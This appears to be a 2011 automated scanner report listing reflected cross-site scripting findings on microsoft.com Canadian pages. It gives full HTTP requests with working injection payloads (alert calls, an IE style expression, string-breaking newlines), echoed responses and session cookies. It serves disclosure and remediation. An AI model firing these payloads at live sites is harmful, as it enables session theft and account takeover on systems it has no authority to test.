XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, microsoft.com, /canada/

Report generated by XSS.CX at Fri Aug 05 13:11:43 GMT-06:00 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Home | XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler |

Loading

1. Cross-site scripting (reflected)

1.1. http://www.microsoft.com/canada/expression/resources/BlendTraining/Video-Display.aspx [uuid parameter]

1.2. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [name of an arbitrarily supplied request parameter]

1.3. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [name of an arbitrarily supplied request parameter]

1.4. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [ocid parameter]

1.5. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [ocid parameter]

1.6. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [ocid parameter]

1.7. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [tab parameter]

1.8. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [tab parameter]

2. Referer-dependent response

3. Cross-domain Referer leakage

3.1. http://www.microsoft.com/austria/partnernet/referenzen_detail.mspx

3.2. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

4. Cross-domain script include

4.1. http://www.microsoft.com/events/eventdetails.aspx

4.2. http://www.microsoft.com/windowsphone/en-us/howto/wp7/default.aspx

4.3. http://www.microsoft.com/windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx

5. Email addresses disclosed

5.1. http://www.microsoft.com/business/Style%20Library/1Mscom/shared/js/jquery.hoverIntent.min.js

5.2. http://www.microsoft.com/business/Style%20Library/1Mscom/shared/js/jquery.vticker.min.js

5.3. http://www.microsoft.com/canada/fr/windows/Framework/SubSites/WindowsLive/v3/scripts/omniture/s_code.js

5.4. http://www.microsoft.com/windowsphone/en-us/howto/wp7/people/set-up-an-email-account.aspx

6. HTML does not specify charset

7. Content type incorrectly stated

7.1. http://www.microsoft.com/business/ww/js/foresee/foresee-surveydef.js

7.2. http://www.microsoft.com/canada/expression/scripts/Silverlight.Experience.js



1. Cross-site scripting (reflected)  next
There are 8 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.microsoft.com/canada/expression/resources/BlendTraining/Video-Display.aspx [uuid parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/expression/resources/BlendTraining/Video-Display.aspx

Issue detail

The value of the uuid request parameter is copied into the name of an HTML tag attribute. The payload 64455%20style%3dx%3aexpression(alert(1))%209c94ce34389 was submitted in the uuid parameter. This input was echoed as 64455 style=x:expression(alert(1)) 9c94ce34389 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /canada/expression/resources/BlendTraining/Video-Display.aspx?uuid=%27%22%20ns=%20alert(0x018DC1)%2064455%20style%3dx%3aexpression(alert(1))%209c94ce34389&day=1&pageName=%2fresources%2fblendtraining%2fday.aspx HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru:2=ru-ru/events:3=ru-ru/events/platforma; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312394603562:ss=1312394542217; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=07/22/2011 11:34:14&Microsoft.VisitStartDate=07/22/2011 11:34:14&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=1&Microsoft.CookieFirstVisit=-1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 438122100300000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 17:23:32 GMT
Content-Length: 7074


<script type="text/javascript">
function onSilverlightError(sender, args) {
var appSource = "";
if (sender != null && sender != 0) {
appSource = sender.getHost(
...[SNIP]...
<param name="InitParams" value="uuid='" ns= alert(0x018DC1) 64455 style=x:expression(alert(1)) 9c94ce34389,fullscreen=true,seriesinfo=http://www.microsoft.com/canada/expression/site-solutions/Video-Player-Series-Info.aspx?type=onramp&day=1&uuid='" ns= alert(0x018DC1) 64455 style=x:expression(alert(1)) 9c94
...[SNIP]...

1.2. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 5e56e%3balert(1)//7c1a3e885b9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 5e56e;alert(1)//7c1a3e885b9 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=%27%22%20ns=%20netsparker(0x01A74E)%20&5e56e%3balert(1)//7c1a3e885b9=1 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 438303430900000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:58:05 GMT
Content-Length: 84724


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
="text/javascript" language="javascript">s.pageName = "http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid='" ns= netsparker(0x01a74e) &5e56e;alert(1)//7c1a3e885b9=1";s.channel = "Products";s.prop2 = "fr-ca http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid='" ns= netsparker(0x01a74e) &5e56e;aler
...[SNIP]...

1.3. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript rest-of-line comment. The payload bbc29%0ad68ec9660e0 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as bbc29
d68ec9660e0
in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=%27%22%20ns=%20netsparker(0x01A74E)%20&bbc29%0ad68ec9660e0=1 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 279398330800000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:58:06 GMT
Content-Length: 84662


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
68ec9660e0=1";s.channel = "Products";s.prop2 = "fr-ca http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid='" ns= netsparker(0x01a74e) &bbc29
d68ec9660e0
=1";s.prop3 = "fr-ca";</script>
...[SNIP]...

1.4. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [ocid parameter]  previous  next

Summary

Severity:   High
Confidence:   Firm
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The value of the ocid request parameter is copied into a JavaScript rest-of-line comment. The payload 3b762%0a524848a8e6b was submitted in the ocid parameter. This input was echoed as 3b762
524848a8e6b
in the application's response.

This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=%27%22%20ns=%20netsparker(0x01A74E)%203b762%0a524848a8e6b HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 79184830800000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:57:49 GMT
Content-Length: 84641


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
2
524848a8e6b";s.channel = "Products";s.prop2 = "fr-ca http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid='" ns= netsparker(0x01a74e) 3b762
524848a8e6b
";s.prop3 = "fr-ca";</script>
...[SNIP]...

1.5. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [ocid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The value of the ocid request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 36543%3balert(1)//8106b1ed291 was submitted in the ocid parameter. This input was echoed as 36543;alert(1)//8106b1ed291 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=%27%22%20ns=%20netsparker(0x01A74E)%2036543%3balert(1)//8106b1ed291 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 791533031000000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:57:48 GMT
Content-Length: 84703


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
e="text/javascript" language="javascript">s.pageName = "http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid='" ns= netsparker(0x01a74e) 36543;alert(1)//8106b1ed291";s.channel = "Products";s.prop2 = "fr-ca http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid='" ns= netsparker(0x01a74e) 36543;alert(1
...[SNIP]...

1.6. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [ocid parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The value of the ocid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b30d2"%3balert(1)//8a95c30fa44 was submitted in the ocid parameter. This input was echoed as b30d2";alert(1)//8a95c30fa44 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=b30d2"%3balert(1)//8a95c30fa44 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 791645230600000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:57:46 GMT
Content-Length: 84548


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
<script type="text/javascript" language="javascript">s.pageName = "http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=b30d2";alert(1)//8a95c30fa44";s.channel = "Products";s.prop2 = "fr-ca http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos&ocid=b30d2";alert(1)//8a95c30fa44";s.prop3 =
...[SNIP]...

1.7. http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx [tab parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.microsoft.com
Path:   /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx

Issue detail

The value of the tab request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 933a9"%3balert(1)//1d5e1bd35c7 was submitted in the tab parameter. This input was echoed as 933a9";alert(1)//1d5e1bd35c7 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos933a9"%3balert(1)//1d5e1bd35c7&ocid=%27%22%20ns=%20netsparker(0x01A74E)%20 HTTP/1.1
Host: www.microsoft.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cookie: WT_NVR=0=/:1=ru-ru|events:2=ru-ru/events|austria/partnernet:3=ru-ru/events/platforma|global/en/ca|business/de-at/seiten; CBC_Page_History=%7B%20%22title%22%3A%22KMU-Portal%20%7C%20Microsoft%20%C3%96sterreich%22%2C%20%22url%22%3A%22http%3A%2F%2Fwww.microsoft.com%2Fbusiness%2Fde-at%2FSeiten%2Fdefault.aspx%22%20%7D; MSID=Microsoft.CreationDate=07/22/2011 11:34:14&Microsoft.LastVisitDate=08/04/2011 20:40:22&Microsoft.VisitStartDate=08/04/2011 20:38:01&Microsoft.CookieId=4f13005d-d999-4b48-91f4-8fe21a8e98b5&Microsoft.TokenId=ffffffff-ffff-ffff-ffff-ffffffffffff&Microsoft.NumberOfVisits=21&Microsoft.CookieFirstVisit=1&Microsoft.IdentityToken=AA==&Microsoft.MicrosoftId=0595-8416-6422-7467; WT_FPC=id=50.23.123.106-1202376064.30165091:lv=1312479561593:ss=1312479477405; omniID=4b66888c_f944_46bd_97e2_d694b952ce36; WT_NVR_RU=0=msdn:1=:2=; A=I&I=AxUFAAAAAADPBwAA3o0vQNpA7xrFnFu/ytXS3w!!&GO=244; MC1=GUID=be6338fceb9d3747bc020ac2f6ad0b8f&HASH=fc38&LV=20117&V=3; MUID=1E3A3B53C93B61CE33DE3964CC3B61A6
Connection: keep-alive
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html; charset=utf-8
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
VTag: 791706430300000000
P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI"
X-Powered-By: ASP.NET
Date: Thu, 04 Aug 2011 22:57:32 GMT
Content-Length: 81673


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html dir="ltr">

<head><meta name="keywords" /><meta name="description
...[SNIP]...
<script type="text/javascript" language="javascript">s.pageName = "http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos933a9";alert(1)//1d5e1bd35c7&ocid='" ns= netsparker(0x01a74e) ";s.channel = "Products";s.prop2 = "fr-ca http://www.microsoft.com/canada/fr/windows/windowslive/see-it-in-action/windowspluswindowslive.aspx?tab=photos933a9";alert(
...[SNIP]...

